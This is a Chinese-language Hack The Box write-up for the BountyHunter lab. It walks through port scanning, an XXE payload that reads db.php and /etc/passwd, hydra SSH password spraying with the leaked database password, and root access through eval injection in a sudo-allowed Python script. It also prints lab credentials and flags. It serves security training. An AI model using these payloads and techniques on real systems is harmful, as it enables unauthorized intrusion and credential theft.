Hackthebox - BountyHunter
靶场信息
靶场类型
信息搜集
使用nmap进行端口扫描
┌──(root💀root)-[~/Desktop]
└─# nmap -A -sS -sC -sV -p- 10.10.11.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-25 13:02 CST
Nmap scan report for 10.10.11.100
Host is up (0.25s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=7/25%OT=22%CT=1%CU=31546%PV=Y%DS=2%DC=T%G=Y%TM=60FCF27
OS:8%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 251.53 ms 10.10.14.1
2 251.65 ms 10.10.11.100
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 546.93 seconds
从扫描结果中,我们可以得到如下几个信息: - 本台靶机开启了22
、80
端口 - 本台80端口使用了Apache/2.4.41作为HTTP服务
咱们去访问80端口看看内容。
这好像是一个SRC平台?专业对口
发现了一个php文件
http://10.10.11.100/log_submit.php
简单测试了一下XSS,但是没有成功,先放着不管我们找找其他思路
先做一个FUZZ看看吧
┌──(root💀root)-[~/Desktop]
└─# gobuster dir -u http://10.10.11.100 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.100
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
2021/07/25 13:24:30 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 277]
/.hta.txt (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htaccess.php (Status: 403) [Size: 277]
/.htpasswd.php (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/.hta.php (Status: 403) [Size: 277]
/.htaccess.html (Status: 403) [Size: 277]
/.htpasswd.html (Status: 403) [Size: 277]
/.hta.html (Status: 403) [Size: 277]
/.htaccess.txt (Status: 403) [Size: 277]
/.htpasswd.txt (Status: 403) [Size: 277]
/assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/db.php (Status: 200) [Size: 0]
/index.php (Status: 200) [Size: 25169]
/index.php (Status: 200) [Size: 25169]
/js (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/portal.php (Status: 200) [Size: 125]
/resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/server-status (Status: 403) [Size: 277]
===============================================================
2021/07/25 13:32:25 Finished
===============================================================
咱们看看/resources
目录
Index of /resources
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[TXT] README.txt 2021-04-06 00:01 210
[ ] all.js 2021-04-05 17:37 1.1M
[ ] bootstrap.bundle.min.js 2021-04-05 17:41 82K
[ ] bootstrap_login.min.js 2021-04-05 17:08 48K
[ ] bountylog.js 2021-06-15 15:47 594
[ ] jquery.easing.min.js 2020-05-04 09:11 2.5K
[ ] jquery.min.js 2020-05-04 16:01 87K
[ ] jquery_login.min.js 2021-04-05 17:09 85K
[TXT] lato.css 2021-04-05 17:39 2.6K
[TXT] monsterat.css 2021-04-05 17:39 3.2K
Apache/2.4.41 (Ubuntu) Server at 10.10.11.100 Port 80
咱们挨个查看一下
在README.txt
中发现了一个提示
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
咱们把目光放在/bountylog.js
这个文件上
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}
漏洞利用
看到这里咱们梳理一下思路哈
http://10.10.11.100/log_submit.php
中提示是一个提交窗口http://10.10.11.100/resources/README.txt
中提示我们要写一个提交脚本到数据库,但我们目前并不知道要写什么脚本http://10.10.11.100/resources/bountylog.js
中提示我们要编写一个XML脚本提交到tracker_diRbPr00f314.php
,并且给出了我们脚本格式- 我们访问
tracker_diRbPr00f314.php
后可以看到,内容就是http://10.10.11.100/log_submit.php
提交后返回的内容
平时我是不会写这么详细的,这里单纯是怼某个说我抄别人内容的杠精,给你看看我的解题思路,看看到底是抄的别人的还是我自己想的,实名制DISS你,不服随时来杠
然后咱们整理一下手上有的信息 1. 咱们手里有一个提交窗口/log_submit.php
2. 咱们有一个一看就很重要但没有内容的文件/db.php
3. 有一个XML注入的示例脚本
OK,目标很明确了,咱们使用XML注入去读取/db.php
文件的内容即可
针对该目标编写脚本
var xml = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>something</cwe>
<cvss>something</cvss>
<reward>something</reward>
</bugreport>`
提交到控制台,然后使用
returnSecret(btoa(xml));
来进行读取
成功读取到该文件,咱们看看内容是什么
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td>PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=</td>
</tr>
<tr>
<td>CWE:</td>
<td>something</td>
</tr>
<tr>
<td>Score:</td>
<td>something</td>
</tr>
<tr>
<td>Reward:</td>
<td>something</td>
</tr>
</table>
看title返回的内容是一段base64码,咱们去解密试试
PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
咱们得到了数据库的账号密码,咱们读取/etc/passwd
看看
var xml = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>something</cwe>
<cvss>something</cvss>
<reward>something</reward>
</bugreport>`
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
似乎和我想的不一样啊,这里我们获取到的数据库用户名无法用来进行ssh登录,还得找找其他思路
咱们使用hydra进行爆破试试
首先将/etc/passwd
的文件保存到本地
然后使用cut命令来提取用户名
cut -d : -f 1 passwd > user
┌──(root💀root)-[~/Desktop]
└─# cat user
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody
systemd-network
systemd-resolve
systemd-timesync
messagebus
syslog
_apt
tss
uuidd
tcpdump
landscape
pollinate
sshd
systemd-coredump
development
lxd
usbmux
现在就把所有的用户名都提取出来了
然后使用hydra进行爆破
┌──(root💀root)-[~/Desktop]
└─# hydra -L user -p m19RoAU0hP41A1sTsq6K 10.10.11.100 ssh 255 ⨯
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-07-25 14:42:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 34 login tries (l:34/p:1), ~3 tries per task
[DATA] attacking ssh://10.10.11.100:22/
[22][ssh] host: 10.10.11.100 login: development password: m19RoAU0hP41A1sTsq6K
[22][ssh] host: 10.10.11.100 login: development password: m19RoAU0hP41A1sTsq6K
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-07-25 14:42:44
然后确定了账号密码
username = development
password = m19RoAU0hP41A1sTsq6K
咱们使用ssh进行登录
┌──(root💀root)-[~/Desktop]
└─# ssh development@10.10.11.100
development@10.10.11.100's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 25 Jul 2021 06:57:17 AM UTC
System load: 0.0
Usage of /: 24.3% of 6.83GB
Memory usage: 15%
Swap usage: 0%
Processes: 216
Users logged in: 1
IPv4 address for eth0: 10.10.11.100
IPv6 address for eth0: dead:beef::250:56ff:feb9:7ae5
0 updates can be applied immediately.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Jul 25 04:44:41 2021 from 10.10.14.17
development@bountyhunter:~$ whoami && id
development
uid=1000(development) gid=1000(development) groups=1000(development)
成功getshell
development@bountyhunter:~$ cat user.txt
12df9cbc3e04ef498fad5cdd101563b4
成功拿到user权限的flag ## 权限提升 咱们使用sudo -l查看一下权限
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
咱们可以利用/usr/bin/python3.8
使用root权限无密码运行/opt/skytrain_inc/ticketValidator.py
文件
咱们查看一下这个文件
development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
通过解读这个python脚本,我们得知,这个脚本要求我们输入文件名,且文件名要以.md
为结尾。如果条件满足,则脚本打开文件并搜索下一个条件。
for i,x in enumerate(ticketFile.readlines()):
if i == 0: # if line number 0 not startwith "# Skytrain Inc", Quit, else Continue
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1: if line number 1 Exist and not startwith "## Ticket to " , Quit else Continue
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"): # This is line number 2, as the previous statements are all returned out or continued to here. so line number 2 should be: "__Ticket Code:__"
code_line = i+1
continue
if code_line and i == code_line: # if code_line exist
if not x.startswith("**"): # if code_line not startwith **, Exit!
return False
ticketCode = x.replace("**", "").split("+")[0] # Remove ** from Code Line, and split at pos 0 where + is found. example is: **102+, would become just 102
if int(ticketCode) % 7 == 4: # the tricky part!
validationNumber = eval(x.replace("**", "")) # this is confusing! that is the catch, the code does not eval the splitted ticketCode, but actually the line itself just without any **. so you should just pass a line of code that would work.
那咱们编写一个.md
文件让他满足条件即可
# Skytrain Inc
## Ticket to
__Ticket Code:__
**102+ 10 == 112 and __import__('os').system('cat /root/root.txt') == False
咱们运行一下
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
lucifiel.md
Destination:
b320161d15bd03095cb66d05ac6d4ddf
Invalid ticket.
成功获得root权限的flag文件